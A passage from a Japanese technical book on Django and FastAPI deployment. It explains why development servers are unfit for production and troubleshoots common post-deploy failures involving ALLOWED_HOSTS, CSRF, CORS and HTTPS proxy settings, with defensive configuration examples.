Django の runserverDEBUG = True を前提としており、この状態では ALLOWED_HOSTS が空でも localhost127.0.0.1 を自動許可します。つまり前節で解説した Host ヘッダ検証が事実上無効です。また runserver は HTTPS をサポートしていないため、通信はすべて平文の HTTP で行われます。Cookie の Secure 属性も機能せず、セッションハイジャックのリスクがそのまま残ります。

Uvicorn の --reload モードでは、ファイルシステムの変更を検知してプロセスを再起動する監視ループが常時動作しています。これ自体は直接的な脆弱性ではありませんが、本番環境でファイルシステムに変更が加わった瞬間(ログローテーション、一時ファイルの生成など)にアプリケーションが予期せず再起動し、処理中のリクエストが中断される可能性があります。13-5 で学んだ graceful shutdown の仕組みも --reload モードでは機能しません。

# Django: 本番では必ず以下を確認
# settings.py
DEBUG = False
ALLOWED_HOSTS = ["www.example.com"]
SECRET_KEY = os.environ["DJANGO_SECRET_KEY"]  # ハードコードしない
SECURE_SSL_REDIRECT = True
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True

Tip

Django には python manage.py check --deploy というコマンドが用意されています。本番デプロイ前に DEBUG の状態、SECRET_KEY の強度、各種セキュリティ設定の有無を自動的にチェックしてくれます。このコマンドを CI パイプラインに組み込んでおくと、設定ミスがデプロイされるリスクを大幅に低減できます。

4.10.3. 性能

開発サーバは単一プロセス・単一スレッドで動作し、リクエストを逐次処理します。Django の runserver は Python の socketserver モジュールをベースとした簡易サーバであり、1つのリクエストを処理している間、他のすべてのリクエストはキューで待機します。12-6 で解説したワーカー設計の概念がまったく適用されていない状態です。

Uvicorn の --reload モードも --workers オプションとの併用ができないため、常に単一ワーカーで動作します。FastAPI の非同期処理は1ワーカー内でも複数の I/O バウンドリクエストを並行処理できますが、CPU バウンドな処理やブロッキング呼び出しが1つでも入れば、その時点でイベントループ全体が停止します。

同じ4コアサーバでの性能差を比較します。

サーバ構成

同時処理数

runserver

1

Gunicorn --workers 9(sync)

9

Gunicorn --workers 4 --threads 4(gthread)

16

Uvicorn --workers 4(I/O バウンド)

各ワーカー内で数千の同時接続

静的ファイルの配信も開発サーバの弱点です。Django の runserverDEBUG = True のときに STATICFILES_FINDERS を使って静的ファイルを動的に探索して配信しますが、これは毎回のリクエストで Python コードが実行される非効率な処理です。13-3 で解説したとおり、本番環境では nginx が sendfile システムコールを使い、Python を一切介さずに静的ファイルを高速配信します。

4.10.4. 安定性

開発サーバにはプロセス管理の仕組みがありません。Django の runserver が予期しない例外やセグメンテーションフォルトでクラッシュした場合、プロセスはそのまま終了し、リクエストを受け付けるものが誰もいなくなります。復旧には管理者が手動でプロセスを再起動するか、外部の監視ツールが検知して再起動する必要があります。

本番用サーバはこの問題を構造的に解決しています。

  • Gunicorn: アービタープロセスは子ワーカーの生死を常時監視し、クラッシュしたワーカーを自動的に再起動します。

  • --timeout 設定: 応答しなくなったワーカーも強制的に再起動されます。

  • --max-requests / --max-requests-jitter: 一定回数のリクエストを処理したワーカーを定期的にリサイクルし、メモリリークの蓄積を防ぎます。

13-5 で学んだ graceful restart も開発サーバでは不可能です。runserver はコード変更を検知すると即座にプロセスを再起動するため、処理中のリクエストは中断されレスポンスが返りません。本番用の Gunicorn に HUP シグナルを送った場合は、新しいワーカーが起動し古いワーカーが処理中のリクエストを完了してから停止するため、クライアントにエラーを見せずにデプロイが完了します。

# 本番環境の構成例: 開発サーバを置き換える

# Django(Gunicorn)
gunicorn myproject.wsgi:application \
    --bind 0.0.0.0:8000 \
    --workers 9 \
    --timeout 30 \
    --max-requests 10000 \
    --max-requests-jitter 1000 \
    --access-logfile -

# FastAPI(Gunicorn + Uvicorn ワーカー)
gunicorn myapp:app \
    -k uvicorn.workers.UvicornWorker \
    --bind 0.0.0.0:8000 \
    --workers 4 \
    --timeout 75 \
    --graceful-timeout 45 \
    --max-requests 10000 \
    --max-requests-jitter 1000 \
    --access-logfile -

以上の4つの観点から見ると、開発サーバは次の特性を持つツールです。

  • デバッグ情報を露出する

  • セキュリティ保護が欠落している

  • 同時処理能力が1である

  • クラッシュからの自動復旧ができない

これらの特性は開発中には生産性を高める合理的な設計ですが、本番環境に持ち込むとセキュリティインシデント、性能問題、サービス停止の原因になります。2 章なぜ Web 開発で並行処理が重要なのか)と3 章開発環境と本番環境は何が違うのか)で学んだワーカー設計、リバースプロキシ構成、graceful restart の仕組みは、まさにこうした開発サーバの限界を乗り越えるために存在するものです。次節では、ここまでの知識を集約して、エラーハンドリングとセキュリティの観点からデプロイ前に確認すべき事項を取り上げます。

4.11. トラブルシューティングの観点

4 章例外はどこで拾われるのか)のここまでで、例外処理の多層構造、入力値の防御、代表的な脅威、プロキシヘッダの注意点、そして開発サーバを本番に持ち込んではならない理由を学びました。これらの知識は設計段階で大きな力を発揮しますが、現実にはデプロイ直後に「ローカルでは動いていたのに本番で壊れた」という事態が頻発します。原因の多くはセキュリティ設定の有効化に伴う副作用であり、コードのバグではなく設定の不整合です。以降では、本番環境で特に遭遇しやすい4つの典型的な障害パターンを、原因の特定方法と解決策とともに見ていきます。

diagram

4.11.1. セキュリティ設定で壊れる典型例

Django を本番デプロイすると、開発環境では一切発生しなかったエラーが一斉に噴き出すことがあります。これは DEBUG = False への切り替えに伴い、開発環境で暗黙的に緩められていた複数のセキュリティ機構が同時に有効化されるためです。

最も頻繁に遭遇するのは、全リクエストが 400 Bad Request を返す現象です。原因はほぼ確実に ALLOWED_HOSTS の設定漏れです。DEBUG = True では localhost 等が自動許可されますが、DEBUG = False では ALLOWED_HOSTS が空だと全てのリクエストが拒否されます。nginx のアクセスログには 400 が並び、Django のエラーログには SuspiciousOperation: Invalid HTTP_HOST header が記録されます。

# 典型的な修正
# settings.py
DEBUG = False
ALLOWED_HOSTS = ["www.example.com", "example.com"]
# ロードバランサのヘルスチェック用 IP も忘れずに
# ALLOWED_HOSTS = ["www.example.com", "example.com", "10.0.0.1"]

次に多いのが、静的ファイルが 404 になる問題です。Django の runserverDEBUG = True のとき django.contrib.staticfiles が静的ファイルを自動配信しますが、DEBUG = False ではこの機能が無効化されます。13-3 で解説したとおり、本番環境では collectstatic を実行して静的ファイルを一箇所に集約し、nginx から配信する構成が必要です。デプロイスクリプトに collectstatic が含まれていない場合、CSS と JavaScript が一切読み込まれない白いページが表示されることになります。

もう一つの典型例は、カスタム 404/500 ページが表示されないというものです。DEBUG = False では Django はデバッグページの代わりに 404.html500.html テンプレートを探しますが、これらがテンプレートディレクトリに存在しないとさらに別のエラーが発生する場合があります。

Tip

デプロイ前にこれらのテンプレートを用意し、DEBUG = False の状態で意図的に404と500を発生させて表示を確認しておくことが重要です。

FastAPI では debug=False への切り替えで壊れるケースは少ないですが、TrustedHostMiddleware や CORS ミドルウェアを本番でのみ追加する構成にしている場合、同様の設定不整合が起こり得ます。

4.11.2. CSRF エラー

Django の CSRF 保護は、開発環境では「なんとなく動いている」ことが多く、本番で初めて 403 Forbidden が頻発して慌てるケースが典型的です。エラーページには「CSRF verification failed. Request aborted.」と表示されます。

最も一般的な原因は、{% csrf_token %} テンプレートタグの記述漏れです。POST フォームにこのタグが含まれていなければ、CSRF トークンがリクエストに付与されず検証が失敗します。開発環境でたまたま動いていた場合、ブラウザのキャッシュに古いトークンが残っていた可能性があります。

<!-- Django: POST フォームには必ず csrf_token を含める -->
<form method="post" action="/order/">
    {% csrf_token %}
    <input type="text" name="product_name">
    <button type="submit">注文する</button>
</form>

SPA(React、Vue など)と Django REST Framework を組み合わせた構成では、別の原因が多くなります。フロントエンドが POST リクエストを送る際に、Cookie から取得した CSRF トークンをリクエストヘッダに含める必要がありますが、CSRF_COOKIE_HTTPONLY = True が設定されていると JavaScript から Cookie を読めません。この場合の対処法は次の通りです。

  • CSRF_COOKIE_HTTPONLY = False に設定する

  • DOM 上の hidden input からトークンを取得する

  • API に対しては Token/JWT ベースの認証に切り替えて @csrf_exempt とする

HTTPS 環境固有の CSRF エラーもあります。Django は HTTPS リクエストに対して Referer ヘッダの厳格な検証を行います。Referer ヘッダが送信されない場合(ブラウザのプライバシー設定やプロキシによる除去)、CSRF 検証は失敗します。また CSRF_TRUSTED_ORIGINS にフロントエンドのオリジンが含まれていない場合も同様です。

# Django: HTTPS 環境での CSRF 設定
# settings.py
CSRF_TRUSTED_ORIGINS = [
    "https://www.example.com",
    "https://example.com",
]
CSRF_COOKIE_SECURE = True

FastAPI は CSRF 保護を内蔵しないため、CSRF エラー自体は発生しません。ただし Cookie に JWT を格納する設計を採用している場合は、14-5 で解説したとおり CORS と SameSite Cookie 属性で防御する必要があり、その設定ミスが別の形で問題を引き起こします。

4.11.3. CORS の誤解

CORS(Cross-Origin Resource Sharing)は、フロントエンドとバックエンドが別オリジン(異なるドメインまたはポート)で動作する SPA 構成で必ず遭遇する仕組みです。ブラウザの開発者ツールに Access to fetch at 'https://api.example.com/...' from origin 'https://www.example.com' has been blocked by CORS policy と表示されたとき、多くの開発者が最初にとる行動は allow_origins=["*"] への変更ですが、これはセキュリティを大きく低下させる対処です。

重要

CORS はサーバを守る仕組みではなく、ブラウザを制御する仕組みです。CORS ヘッダがなくても、curl やサーバサイドのコードからのリクエストは問題なく到達します。CORS はブラウザの Same-Origin Policy を選択的に緩和するための仕組みであり、ブラウザが「このオリジンからのリクエストは許可されている」と確認できた場合にのみレスポンスを JavaScript に渡します。

典型的な誤解と正しい理解を確認します。開発環境では http://localhost:3000(フロントエンド)から http://localhost:8000(バックエンド)への通信が CORS エラーになります。ポートが異なればオリジンは別物だからです。このとき allow_origins=["http://localhost:3000"] を設定すれば解決しますが、本番では allow_origins=["https://www.example.com"] に変更する必要があります。環境変数で切り替える設計にしておくのが実務上のベストプラクティスです。

# FastAPI: 環境ごとに CORS オリジンを切り替える
import os
from fastapi.middleware.cors import CORSMiddleware

origins = os.environ.get("CORS_ORIGINS", "http://localhost:3000").split(",")

app.add_middleware(
    CORSMiddleware,
    allow_origins=origins,
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
)

allow_credentials=Trueallow_origins=["*"] の組み合わせは、FastAPI(Starlette)が明示的にエラーとして拒否します。認証情報を含むリクエストを許可する場合は、オリジンを具体的に列挙しなければなりません。

もう一つの頻出トラブルは、preflight リクエスト(OPTIONS)が 405 や 500 を返すケースです。ブラウザはクロスオリジンの非単純リクエスト(Content-Type: application/json の POST など)を送信する前に、OPTIONS メソッドの preflight リクエストを自動的に送ります。CORS ミドルウェアがこの OPTIONS を正しく処理しないと、本来のリクエストが送信されません。Django では django-cors-headers パッケージが、FastAPI では組み込みの CORSMiddleware がこれを処理しますが、ミドルウェアの登録順序によっては認証ミドルウェアが先に OPTIONS を拒否してしまうことがあります。

Tip

CORS ミドルウェアはミドルウェアスタックのできるだけ外側(最初)に配置するのが原則です。

4.11.4. 本番だけ HTTPS 関連で壊れる問題

開発環境は HTTP、本番環境は HTTPS という構成は一般的ですが、この差異に起因するトラブルは驚くほど多様です。

最も深刻なのは無限リダイレクトループです。Django で SECURE_SSL_REDIRECT = True を設定すると、HTTP リクエストを HTTPS にリダイレクトします。しかし14-6 で解説したとおり、リバースプロキシが TLS を終端してアプリケーションには HTTP で転送する構成では、Django はすべてのリクエストを「HTTP である」と判断し、永遠にリダイレクトを繰り返します。ブラウザには「このページはリダイレクトの回数が多すぎます」というエラーが表示されます。解決策は SECURE_PROXY_SSL_HEADER の設定です。

# Django: 無限リダイレクトを防ぐ設定
# settings.py
SECURE_SSL_REDIRECT = True
SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")

nginx 側で X-Forwarded-Proto が正しく設定されていることを必ず確認します。この設定がない状態で SECURE_PROXY_SSL_HEADER を有効にしても効果はありません。

# nginx: X-Forwarded-Proto の設定(必須)
proxy_set_header X-Forwarded-Proto $scheme;

Mixed Content 警告も HTTPS 移行時の典型的な問題です。HTML ページは HTTPS で配信されているのに、ページ内のリソース(CSS、JavaScript、画像、API エンドポイント)が HTTP の URL で参照されていると、ブラウザは Mixed Content としてブロックまたは警告します。Django の request.build_absolute_uri() が HTTP の URL を生成してしまう場合、SECURE_PROXY_SSL_HEADER の設定漏れが原因です。テンプレート内でハードコードされた http:// の URL も点検が必要です。

Cookie が送信されない問題も頻発します。SESSION_COOKIE_SECURE = TrueCSRF_COOKIE_SECURE = True を設定すると、これらの Cookie はブラウザが HTTPS 接続と判断した場合にのみ送信されます。ロードバランサのヘルスチェックが HTTP で行われている場合、そのリクエストにはセッション Cookie が付与されないため、認証が必要なヘルスチェックエンドポイントは使えません。13-7 で設計したヘルスチェックエンドポイントは認証不要にしておくのが正しい理由がここにもあります。

FastAPI / Uvicorn 環境でも同様の問題が発生します。--proxy-headers を有効にしていても --forwarded-allow-ips にプロキシの IP が含まれていなければ、Uvicorn は X-Forwarded-Proto を無視します。この場合 request.url.schemehttp のままになり、OAuth のコールバック URL やリダイレクト先が HTTP で生成されてしまい、認証フローが破綻します。

Tip

これらの HTTPS 関連トラブルに共通するデバッグ手法は、nginx のアクセスログとアプリケーションのリクエストログを突き合わせ、各層でヘッダがどう変換されているかを追跡することです。nginx 側で $http_x_forwarded_proto をログフォーマットに含め、アプリケーション側でも request.META.get("HTTP_X_FORWARDED_PROTO")request.headers.get("x-forwarded-proto") をログ出力すれば、どの層でヘッダが欠落または変化しているかを特定できます。

本章全体を振り返ると、エラーハンドリングとセキュリティは「コードの正しさ」だけでなく「設定の正しさ」に大きく依存します。開発環境と本番環境の構成差異を理解し、デプロイ前に manage.py check --deploy の実行、HTTPS 環境でのエンドツーエンドテスト、CSRF/CORS の動作確認を行うことで、本節で紹介したトラブルの大部分は未然に防げます。次章では、本書の総まとめとしてこれまでの知識を横断的に振り返り、Django と FastAPI の内部構造への理解がどのように日々の開発を変えるかを考察します。